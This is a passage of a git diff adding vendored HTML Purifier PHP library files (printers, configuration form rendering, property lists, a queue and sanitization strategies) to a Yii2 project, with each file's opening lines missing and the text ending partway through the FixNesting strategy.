a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php new file mode 100644 index 00000000..549e4cea --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php @@ -0,0 +1,218 @@ +getAll(); + $context = new HTMLPurifier_Context(); + $this->generator = new HTMLPurifier_Generator($config, $context); + } + + /** + * Main function that renders object or aspect of that object + * @note Parameters vary depending on printer + */ + // function render() {} + + /** + * Returns a start tag + * @param string $tag Tag name + * @param array $attr Attribute array + * @return string + */ + protected function start($tag, $attr = array()) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_Start($tag, $attr ? $attr : array()) + ); + } + + /** + * Returns an end tag + * @param string $tag Tag name + * @return string + */ + protected function end($tag) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_End($tag) + ); + } + + /** + * Prints a complete element with content inside + * @param string $tag Tag name + * @param string $contents Element contents + * @param array $attr Tag attributes + * @param bool $escape whether or not to escape contents + * @return string + */ + protected function element($tag, $contents, $attr = array(), $escape = true) + { + return $this->start($tag, $attr) . + ($escape ? $this->escape($contents) : $contents) . + $this->end($tag); + } + + /** + * @param string $tag + * @param array $attr + * @return string + */ + protected function elementEmpty($tag, $attr = array()) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_Empty($tag, $attr) + ); + } + + /** + * @param string $text + * @return string + */ + protected function text($text) + { + return $this->generator->generateFromToken( + new HTMLPurifier_Token_Text($text) + ); + } + + /** + * Prints a simple key/value row in a table. + * @param string $name Key + * @param mixed $value Value + * @return string + */ + protected function row($name, $value) + { + if (is_bool($value)) { + $value = $value ? 'On' : 'Off'; + } + return + $this->start('tr') . "\n" . + $this->element('th', $name) . "\n" . + $this->element('td', $value) . "\n" . + $this->end('tr'); + } + + /** + * Escapes a string for HTML output. + * @param string $string String to escape + * @return string + */ + protected function escape($string) + { + $string = HTMLPurifier_Encoder::cleanUTF8($string); + $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8'); + return $string; + } + + /** + * Takes a list of strings and turns them into a single list + * @param string[] $array List of strings + * @param bool $polite Bool whether or not to add an end before the last + * @return string + */ + protected function listify($array, $polite = false) + { + if (empty($array)) { + return 'None'; + } + $ret = ''; + $i = count($array); + foreach ($array as $value) { + $i--; + $ret .= $value; + if ($i > 0 && !($polite && $i == 1)) { + $ret .= ', '; + } + if ($polite && $i == 1) { + $ret .= 'and '; + } + } + return $ret; + } + + /** + * Retrieves the class of an object without prefixes, as well as metadata + * @param object $obj Object to determine class of + * @param string $sec_prefix Further prefix to remove + * @return string + */ + protected function getClass($obj, $sec_prefix = '') + { + static $five = null; + if ($five === null) { + $five = version_compare(PHP_VERSION, '5', '>='); + } + $prefix = 'HTMLPurifier_' . $sec_prefix; + if (!$five) { + $prefix = strtolower($prefix); + } + $class = str_replace($prefix, '', get_class($obj)); + $lclass = strtolower($class); + $class .= '('; + switch ($lclass) { + case 'enum': + $values = array(); + foreach ($obj->valid_values as $value => $bool) { + $values[] = $value; + } + $class .= implode(', ', $values); + break; + case 'css_composite': + $values = array(); + foreach ($obj->defs as $def) { + $values[] = $this->getClass($def, $sec_prefix); + } + $class .= implode(', ', $values); + break; + case 'css_multiple': + $class .= $this->getClass($obj->single, $sec_prefix) . ', '; + $class .= $obj->max; + break; + case 'css_denyelementdecorator': + $class .= $this->getClass($obj->def, $sec_prefix) . ', '; + $class .= $obj->element; + break; + case 'css_importantdecorator': + $class .= $this->getClass($obj->def, $sec_prefix); + if ($obj->allow) { + $class .= ', !important'; + } + break; + } + $class .= ')'; + return $class; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php new file mode 100644 index 00000000..29505fe1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/CSSDefinition.php @@ -0,0 +1,44 @@ +def = $config->getCSSDefinition(); + $ret = ''; + + $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); + $ret .= $this->start('table'); + + $ret .= $this->element('caption', 'Properties ($info)'); + + $ret .= $this->start('thead'); + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Property', array('class' => 'heavy')); + $ret .= $this->element('th', 'Definition', array('class' => 'heavy', 'style' => 'width:auto;')); + $ret .= $this->end('tr'); + $ret .= $this->end('thead'); + + ksort($this->def->info); + foreach ($this->def->info as $property => $obj) { + $name = $this->getClass($obj, 'AttrDef_'); + $ret .= $this->row($property, $name); + } + + $ret .= $this->end('table'); + $ret .= $this->end('div'); + + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css new file mode 100644 index 00000000..3ff1a88a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.css @@ -0,0 +1,10 @@ + +.hp-config {} + +.hp-config tbody th {text-align:right; padding-right:0.5em;} +.hp-config thead, .hp-config .namespace {background:#3C578C; color:#FFF;} +.hp-config .namespace th {text-align:center;} +.hp-config .verbose {display:none;} +.hp-config .controls {text-align:center;} + +/* vim: et sw=4 sts=4 */ diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js new file mode 100644 index 00000000..cba00c9b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.js @@ -0,0 +1,5 @@ +function toggleWriteability(id_of_patient, checked) { + document.getElementById(id_of_patient).disabled = checked; +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php new file mode 100644 index 00000000..36100ce7 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/ConfigForm.php @@ -0,0 +1,447 @@ +docURL = $doc_url; + $this->name = $name; + $this->compress = $compress; + // initialize sub-printers + $this->fields[0] = new HTMLPurifier_Printer_ConfigForm_default(); + $this->fields[HTMLPurifier_VarParser::BOOL] = new HTMLPurifier_Printer_ConfigForm_bool(); + } + + /** + * Sets default column and row size for textareas in sub-printers + * @param $cols Integer columns of textarea, null to use default + * @param $rows Integer rows of textarea, null to use default + */ + public function setTextareaDimensions($cols = null, $rows = null) + { + if ($cols) { + $this->fields['default']->cols = $cols; + } + if ($rows) { + $this->fields['default']->rows = $rows; + } + } + + /** + * Retrieves styling, in case it is not accessible by webserver + */ + public static function getCSS() + { + return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.css'); + } + + /** + * Retrieves JavaScript, in case it is not accessible by webserver + */ + public static function getJavaScript() + { + return file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/Printer/ConfigForm.js'); + } + + /** + * Returns HTML output for a configuration form + * @param HTMLPurifier_Config|array $config Configuration object of current form state, or an array + * where [0] has an HTML namespace and [1] is being rendered. + * @param array|bool $allowed Optional namespace(s) and directives to restrict form to. + * @param bool $render_controls + * @return string + */ + public function render($config, $allowed = true, $render_controls = true) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + + $this->config = $config; + $this->genConfig = $gen_config; + $this->prepareGenerator($gen_config); + + $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $config->def); + $all = array(); + foreach ($allowed as $key) { + list($ns, $directive) = $key; + $all[$ns][$directive] = $config->get($ns . '.' . $directive); + } + + $ret = ''; + $ret .= $this->start('table', array('class' => 'hp-config')); + $ret .= $this->start('thead'); + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Directive', array('class' => 'hp-directive')); + $ret .= $this->element('th', 'Value', array('class' => 'hp-value')); + $ret .= $this->end('tr'); + $ret .= $this->end('thead'); + foreach ($all as $ns => $directives) { + $ret .= $this->renderNamespace($ns, $directives); + } + if ($render_controls) { + $ret .= $this->start('tbody'); + $ret .= $this->start('tr'); + $ret .= $this->start('td', array('colspan' => 2, 'class' => 'controls')); + $ret .= $this->elementEmpty('input', array('type' => 'submit', 'value' => 'Submit')); + $ret .= '[Reset]'; + $ret .= $this->end('td'); + $ret .= $this->end('tr'); + $ret .= $this->end('tbody'); + } + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders a single namespace + * @param $ns String namespace name + * @param array $directives array of directives to values + * @return string + */ + protected function renderNamespace($ns, $directives) + { + $ret = ''; + $ret .= $this->start('tbody', array('class' => 'namespace')); + $ret .= $this->start('tr'); + $ret .= $this->element('th', $ns, array('colspan' => 2)); + $ret .= $this->end('tr'); + $ret .= $this->end('tbody'); + $ret .= $this->start('tbody'); + foreach ($directives as $directive => $value) { + $ret .= $this->start('tr'); + $ret .= $this->start('th'); + if ($this->docURL) { + $url = str_replace('%s', urlencode("$ns.$directive"), $this->docURL); + $ret .= $this->start('a', array('href' => $url)); + } + $attr = array('for' => "{$this->name}:$ns.$directive"); + + // crop directive name if it's too long + if (!$this->compress || (strlen($directive) < $this->compress)) { + $directive_disp = $directive; + } else { + $directive_disp = substr($directive, 0, $this->compress - 2) . '...'; + $attr['title'] = $directive; + } + + $ret .= $this->element( + 'label', + $directive_disp, + // component printers must create an element with this id + $attr + ); + if ($this->docURL) { + $ret .= $this->end('a'); + } + $ret .= $this->end('th'); + + $ret .= $this->start('td'); + $def = $this->config->def->info["$ns.$directive"]; + if (is_int($def)) { + $allow_null = $def < 0; + $type = abs($def); + } else { + $type = $def->type; + $allow_null = isset($def->allow_null); + } + if (!isset($this->fields[$type])) { + $type = 0; + } // default + $type_obj = $this->fields[$type]; + if ($allow_null) { + $type_obj = new HTMLPurifier_Printer_ConfigForm_NullDecorator($type_obj); + } + $ret .= $type_obj->render($ns, $directive, $value, $this->name, array($this->genConfig, $this->config)); + $ret .= $this->end('td'); + $ret .= $this->end('tr'); + } + $ret .= $this->end('tbody'); + return $ret; + } + +} + +/** + * Printer decorator for directives that accept null + */ +class HTMLPurifier_Printer_ConfigForm_NullDecorator extends HTMLPurifier_Printer +{ + /** + * Printer being decorated + * @type HTMLPurifier_Printer + */ + protected $obj; + + /** + * @param HTMLPurifier_Printer $obj Printer to decorate + */ + public function __construct($obj) + { + parent::__construct(); + $this->obj = $obj; + } + + /** + * @param string $ns + * @param string $directive + * @param string $value + * @param string $name + * @param HTMLPurifier_Config|array $config + * @return string + */ + public function render($ns, $directive, $value, $name, $config) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + $this->prepareGenerator($gen_config); + + $ret = ''; + $ret .= $this->start('label', array('for' => "$name:Null_$ns.$directive")); + $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); + $ret .= $this->text(' Null/Disabled'); + $ret .= $this->end('label'); + $attr = array( + 'type' => 'checkbox', + 'value' => '1', + 'class' => 'null-toggle', + 'name' => "$name" . "[Null_$ns.$directive]", + 'id' => "$name:Null_$ns.$directive", + 'onclick' => "toggleWriteability('$name:$ns.$directive',checked)" // INLINE JAVASCRIPT!!!! + ); + if ($this->obj instanceof HTMLPurifier_Printer_ConfigForm_bool) { + // modify inline javascript slightly + $attr['onclick'] = + "toggleWriteability('$name:Yes_$ns.$directive',checked);" . + "toggleWriteability('$name:No_$ns.$directive',checked)"; + } + if ($value === null) { + $attr['checked'] = 'checked'; + } + $ret .= $this->elementEmpty('input', $attr); + $ret .= $this->text(' or '); + $ret .= $this->elementEmpty('br'); + $ret .= $this->obj->render($ns, $directive, $value, $name, array($gen_config, $config)); + return $ret; + } +} + +/** + * Swiss-army knife configuration form field printer + */ +class HTMLPurifier_Printer_ConfigForm_default extends HTMLPurifier_Printer +{ + /** + * @type int + */ + public $cols = 18; + + /** + * @type int + */ + public $rows = 5; + + /** + * @param string $ns + * @param string $directive + * @param string $value + * @param string $name + * @param HTMLPurifier_Config|array $config + * @return string + */ + public function render($ns, $directive, $value, $name, $config) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + $this->prepareGenerator($gen_config); + // this should probably be split up a little + $ret = ''; + $def = $config->def->info["$ns.$directive"]; + if (is_int($def)) { + $type = abs($def); + } else { + $type = $def->type; + } + if (is_array($value)) { + switch ($type) { + case HTMLPurifier_VarParser::LOOKUP: + $array = $value; + $value = array(); + foreach ($array as $val => $b) { + $value[] = $val; + } + //TODO does this need a break? + case HTMLPurifier_VarParser::ALIST: + $value = implode(PHP_EOL, $value); + break; + case HTMLPurifier_VarParser::HASH: + $nvalue = ''; + foreach ($value as $i => $v) { + $nvalue .= "$i:$v" . PHP_EOL; + } + $value = $nvalue; + break; + default: + $value = ''; + } + } + if ($type === HTMLPurifier_VarParser::MIXED) { + return 'Not supported'; + $value = serialize($value); + } + $attr = array( + 'name' => "$name" . "[$ns.$directive]", + 'id' => "$name:$ns.$directive" + ); + if ($value === null) { + $attr['disabled'] = 'disabled'; + } + if (isset($def->allowed)) { + $ret .= $this->start('select', $attr); + foreach ($def->allowed as $val => $b) { + $attr = array(); + if ($value == $val) { + $attr['selected'] = 'selected'; + } + $ret .= $this->element('option', $val, $attr); + } + $ret .= $this->end('select'); + } elseif ($type === HTMLPurifier_VarParser::TEXT || + $type === HTMLPurifier_VarParser::ITEXT || + $type === HTMLPurifier_VarParser::ALIST || + $type === HTMLPurifier_VarParser::HASH || + $type === HTMLPurifier_VarParser::LOOKUP) { + $attr['cols'] = $this->cols; + $attr['rows'] = $this->rows; + $ret .= $this->start('textarea', $attr); + $ret .= $this->text($value); + $ret .= $this->end('textarea'); + } else { + $attr['value'] = $value; + $attr['type'] = 'text'; + $ret .= $this->elementEmpty('input', $attr); + } + return $ret; + } +} + +/** + * Bool form field printer + */ +class HTMLPurifier_Printer_ConfigForm_bool extends HTMLPurifier_Printer +{ + /** + * @param string $ns + * @param string $directive + * @param string $value + * @param string $name + * @param HTMLPurifier_Config|array $config + * @return string + */ + public function render($ns, $directive, $value, $name, $config) + { + if (is_array($config) && isset($config[0])) { + $gen_config = $config[0]; + $config = $config[1]; + } else { + $gen_config = $config; + } + $this->prepareGenerator($gen_config); + $ret = ''; + $ret .= $this->start('div', array('id' => "$name:$ns.$directive")); + + $ret .= $this->start('label', array('for' => "$name:Yes_$ns.$directive")); + $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); + $ret .= $this->text(' Yes'); + $ret .= $this->end('label'); + + $attr = array( + 'type' => 'radio', + 'name' => "$name" . "[$ns.$directive]", + 'id' => "$name:Yes_$ns.$directive", + 'value' => '1' + ); + if ($value === true) { + $attr['checked'] = 'checked'; + } + if ($value === null) { + $attr['disabled'] = 'disabled'; + } + $ret .= $this->elementEmpty('input', $attr); + + $ret .= $this->start('label', array('for' => "$name:No_$ns.$directive")); + $ret .= $this->element('span', "$ns.$directive:", array('class' => 'verbose')); + $ret .= $this->text(' No'); + $ret .= $this->end('label'); + + $attr = array( + 'type' => 'radio', + 'name' => "$name" . "[$ns.$directive]", + 'id' => "$name:No_$ns.$directive", + 'value' => '0' + ); + if ($value === false) { + $attr['checked'] = 'checked'; + } + if ($value === null) { + $attr['disabled'] = 'disabled'; + } + $ret .= $this->elementEmpty('input', $attr); + + $ret .= $this->end('div'); + + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php new file mode 100644 index 00000000..5f2f2f8a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer/HTMLDefinition.php @@ -0,0 +1,324 @@ +config =& $config; + + $this->def = $config->getHTMLDefinition(); + + $ret .= $this->start('div', array('class' => 'HTMLPurifier_Printer')); + + $ret .= $this->renderDoctype(); + $ret .= $this->renderEnvironment(); + $ret .= $this->renderContentSets(); + $ret .= $this->renderInfo(); + + $ret .= $this->end('div'); + + return $ret; + } + + /** + * Renders the Doctype table + * @return string + */ + protected function renderDoctype() + { + $doctype = $this->def->doctype; + $ret = ''; + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Doctype'); + $ret .= $this->row('Name', $doctype->name); + $ret .= $this->row('XML', $doctype->xml ? 'Yes' : 'No'); + $ret .= $this->row('Default Modules', implode($doctype->modules, ', ')); + $ret .= $this->row('Default Tidy Modules', implode($doctype->tidyModules, ', ')); + $ret .= $this->end('table'); + return $ret; + } + + + /** + * Renders environment table, which is miscellaneous info + * @return string + */ + protected function renderEnvironment() + { + $def = $this->def; + + $ret = ''; + + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Environment'); + + $ret .= $this->row('Parent of fragment', $def->info_parent); + $ret .= $this->renderChildren($def->info_parent_def->child); + $ret .= $this->row('Block wrap name', $def->info_block_wrapper); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Global attributes'); + $ret .= $this->element('td', $this->listifyAttr($def->info_global_attr), null, 0); + $ret .= $this->end('tr'); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Tag transforms'); + $list = array(); + foreach ($def->info_tag_transform as $old => $new) { + $new = $this->getClass($new, 'TagTransform_'); + $list[] = "<$old> with $new"; + } + $ret .= $this->element('td', $this->listify($list)); + $ret .= $this->end('tr'); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Pre-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_pre)); + $ret .= $this->end('tr'); + + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Post-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->info_attr_transform_post)); + $ret .= $this->end('tr'); + + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders the Content Sets table + * @return string + */ + protected function renderContentSets() + { + $ret = ''; + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Content Sets'); + foreach ($this->def->info_content_sets as $name => $lookup) { + $ret .= $this->heavyHeader($name); + $ret .= $this->start('tr'); + $ret .= $this->element('td', $this->listifyTagLookup($lookup)); + $ret .= $this->end('tr'); + } + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders the Elements ($info) table + * @return string + */ + protected function renderInfo() + { + $ret = ''; + $ret .= $this->start('table'); + $ret .= $this->element('caption', 'Elements ($info)'); + ksort($this->def->info); + $ret .= $this->heavyHeader('Allowed tags', 2); + $ret .= $this->start('tr'); + $ret .= $this->element('td', $this->listifyTagLookup($this->def->info), array('colspan' => 2)); + $ret .= $this->end('tr'); + foreach ($this->def->info as $name => $def) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', "<$name>", array('class' => 'heavy', 'colspan' => 2)); + $ret .= $this->end('tr'); + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Inline content'); + $ret .= $this->element('td', $def->descendants_are_inline ? 'Yes' : 'No'); + $ret .= $this->end('tr'); + if (!empty($def->excludes)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Excludes'); + $ret .= $this->element('td', $this->listifyTagLookup($def->excludes)); + $ret .= $this->end('tr'); + } + if (!empty($def->attr_transform_pre)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Pre-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_pre)); + $ret .= $this->end('tr'); + } + if (!empty($def->attr_transform_post)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Post-AttrTransform'); + $ret .= $this->element('td', $this->listifyObjectList($def->attr_transform_post)); + $ret .= $this->end('tr'); + } + if (!empty($def->auto_close)) { + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Auto closed by'); + $ret .= $this->element('td', $this->listifyTagLookup($def->auto_close)); + $ret .= $this->end('tr'); + } + $ret .= $this->start('tr'); + $ret .= $this->element('th', 'Allowed attributes'); + $ret .= $this->element('td', $this->listifyAttr($def->attr), array(), 0); + $ret .= $this->end('tr'); + + if (!empty($def->required_attr)) { + $ret .= $this->row('Required attributes', $this->listify($def->required_attr)); + } + + $ret .= $this->renderChildren($def->child); + } + $ret .= $this->end('table'); + return $ret; + } + + /** + * Renders a row describing the allowed children of an element + * @param HTMLPurifier_ChildDef $def HTMLPurifier_ChildDef of pertinent element + * @return string + */ + protected function renderChildren($def) + { + $context = new HTMLPurifier_Context(); + $ret = ''; + $ret .= $this->start('tr'); + $elements = array(); + $attr = array(); + if (isset($def->elements)) { + if ($def->type == 'strictblockquote') { + $def->validateChildren(array(), $this->config, $context); + } + $elements = $def->elements; + } + if ($def->type == 'chameleon') { + $attr['rowspan'] = 2; + } elseif ($def->type == 'empty') { + $elements = array(); + } elseif ($def->type == 'table') { + $elements = array_flip( + array( + 'col', + 'caption', + 'colgroup', + 'thead', + 'tfoot', + 'tbody', + 'tr' + ) + ); + } + $ret .= $this->element('th', 'Allowed children', $attr); + + if ($def->type == 'chameleon') { + + $ret .= $this->element( + 'td', + 'Block: ' . + $this->escape($this->listifyTagLookup($def->block->elements)), + null, + 0 + ); + $ret .= $this->end('tr'); + $ret .= $this->start('tr'); + $ret .= $this->element( + 'td', + 'Inline: ' . + $this->escape($this->listifyTagLookup($def->inline->elements)), + null, + 0 + ); + + } elseif ($def->type == 'custom') { + + $ret .= $this->element( + 'td', + '' . ucfirst($def->type) . ': ' . + $def->dtd_regex + ); + + } else { + $ret .= $this->element( + 'td', + '' . ucfirst($def->type) . ': ' . + $this->escape($this->listifyTagLookup($elements)), + null, + 0 + ); + } + $ret .= $this->end('tr'); + return $ret; + } + + /** + * Listifies a tag lookup table. + * @param array $array Tag lookup array in form of array('tagname' => true) + * @return string + */ + protected function listifyTagLookup($array) + { + ksort($array); + $list = array(); + foreach ($array as $name => $discard) { + if ($name !== '#PCDATA' && !isset($this->def->info[$name])) { + continue; + } + $list[] = $name; + } + return $this->listify($list); + } + + /** + * Listifies a list of objects by retrieving class names and internal state + * @param array $array List of objects + * @return string + * @todo Also add information about internal state + */ + protected function listifyObjectList($array) + { + ksort($array); + $list = array(); + foreach ($array as $obj) { + $list[] = $this->getClass($obj, 'AttrTransform_'); + } + return $this->listify($list); + } + + /** + * Listifies a hash of attributes to AttrDef classes + * @param array $array Array hash in form of array('attrname' => HTMLPurifier_AttrDef) + * @return string + */ + protected function listifyAttr($array) + { + ksort($array); + $list = array(); + foreach ($array as $name => $obj) { + if ($obj === false) { + continue; + } + $list[] = "$name = " . $this->getClass($obj, 'AttrDef_') . ''; + } + return $this->listify($list); + } + + /** + * Creates a heavy header row + * @param string $text + * @param int $num + * @return string + */ + protected function heavyHeader($text, $num = 1) + { + $ret = ''; + $ret .= $this->start('tr'); + $ret .= $this->element('th', $text, array('colspan' => $num, 'class' => 'heavy')); + $ret .= $this->end('tr'); + return $ret; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php new file mode 100644 index 00000000..189348fd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyList.php @@ -0,0 +1,122 @@ +parent = $parent; + } + + /** + * Recursively retrieves the value for a key + * @param string $name + * @throws HTMLPurifier_Exception + */ + public function get($name) + { + if ($this->has($name)) { + return $this->data[$name]; + } + // possible performance bottleneck, convert to iterative if necessary + if ($this->parent) { + return $this->parent->get($name); + } + throw new HTMLPurifier_Exception("Key '$name' not found"); + } + + /** + * Sets the value of a key, for this plist + * @param string $name + * @param mixed $value + */ + public function set($name, $value) + { + $this->data[$name] = $value; + } + + /** + * Returns true if a given key exists + * @param string $name + * @return bool + */ + public function has($name) + { + return array_key_exists($name, $this->data); + } + + /** + * Resets a value to the value of it's parent, usually the default. If + * no value is specified, the entire plist is reset. + * @param string $name + */ + public function reset($name = null) + { + if ($name == null) { + $this->data = array(); + } else { + unset($this->data[$name]); + } + } + + /** + * Squashes this property list and all of its property lists into a single + * array, and returns the array. This value is cached by default. + * @param bool $force If true, ignores the cache and regenerates the array. + * @return array + */ + public function squash($force = false) + { + if ($this->cache !== null && !$force) { + return $this->cache; + } + if ($this->parent) { + return $this->cache = array_merge($this->parent->squash($force), $this->data); + } else { + return $this->cache = $this->data; + } + } + + /** + * Returns the parent plist. + * @return HTMLPurifier_PropertyList + */ + public function getParent() + { + return $this->parent; + } + + /** + * Sets the parent plist. + * @param HTMLPurifier_PropertyList $plist Parent plist + */ + public function setParent($plist) + { + $this->parent = $plist; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php new file mode 100644 index 00000000..15b330ea --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PropertyListIterator.php @@ -0,0 +1,42 @@ +l = strlen($filter); + $this->filter = $filter; + } + + /** + * @return bool + */ + public function accept() + { + $key = $this->getInnerIterator()->key(); + if (strncmp($key, $this->filter, $this->l) !== 0) { + return false; + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php new file mode 100644 index 00000000..f58db904 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Queue.php @@ -0,0 +1,56 @@ +input = $input; + $this->output = array(); + } + + /** + * Shifts an element off the front of the queue. + */ + public function shift() { + if (empty($this->output)) { + $this->output = array_reverse($this->input); + $this->input = array(); + } + if (empty($this->output)) { + return NULL; + } + return array_pop($this->output); + } + + /** + * Pushes an element onto the front of the queue. + */ + public function push($x) { + array_push($this->input, $x); + } + + /** + * Checks if it's empty. + */ + public function isEmpty() { + return empty($this->input) && empty($this->output); + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php new file mode 100644 index 00000000..e1ff3b72 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy.php @@ -0,0 +1,26 @@ +strategies as $strategy) { + $tokens = $strategy->execute($tokens, $config, $context); + } + return $tokens; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Core.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Core.php new file mode 100644 index 00000000..4414c17d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/Core.php @@ -0,0 +1,17 @@ +strategies[] = new HTMLPurifier_Strategy_RemoveForeignElements(); + $this->strategies[] = new HTMLPurifier_Strategy_MakeWellFormed(); + $this->strategies[] = new HTMLPurifier_Strategy_FixNesting(); + $this->strategies[] = new HTMLPurifier_Strategy_ValidateAttributes(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.php new file mode 100644 index 00000000..6fa673db --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Strategy/FixNesting.php @@ -0,0 +1,181 @@ +getHTMLDefinition(); + + $excludes_enabled = !$config->get('Core.DisableExcludes'); + + // setup the context variable 'IsInline', for chameleon processing + // is 'false' when we are not inline, 'true' when it must always + // be inline, and an integer when it is inline for a certain + // branch of the document tree + $is_inline = $definition->info_parent_def->descendants_are_inline; + $context->register('IsInline', $is_inline); + + // setup error collector + $e =& $context->get('ErrorCollector', true); + + //####################################################################// + // Loop initialization + + // stack that contains all elements that are excluded + // it is organized by parent elements, similar to $stack, + // but it is only populated when an element with exclusions is + // processed, i.e. there won't be empty exclusions. + $exclude_stack = array($definition->info_parent_def->excludes); + + // variable that contains the start token while we are processing + // nodes. This enables error reporting to do its job + $node = $top_node; + // dummy token + list($token, $d) = $node->toTokenPair(); + $context->register('CurrentNode', $node); + $context->register('CurrentToken', $token); + + //####################################################################// + // Loop + + // We need to implement a post-order traversal iteratively, to + // avoid running into stack space limits. This is pretty tricky + // to reason about, so we just manually stack-ify the recursive + // variant: + // + // function f($node) { + // foreach ($node->children as $child) { + // f($child); + // } + // validate($node); + // } + // + // Thus, we will represent a stack frame as array($node, + // $is_inline, stack of children) + // e.g. array_reverse($node->children) - already processed + // children. + + $parent_def = $definition->info_parent_def; + $stack = array( + array($top_node, + $parent_def->descendants_are_inline, + $parent_def->excludes, // exclusions + 0) + ); + + while (!empty($stack)) { + list($node, $is_inline, $excludes, $ix) = array_pop($stack); + // recursive call + $go = false; + $def = empty($stack) ? $definition->info_parent_def : $definition->info[$node->name]; + while 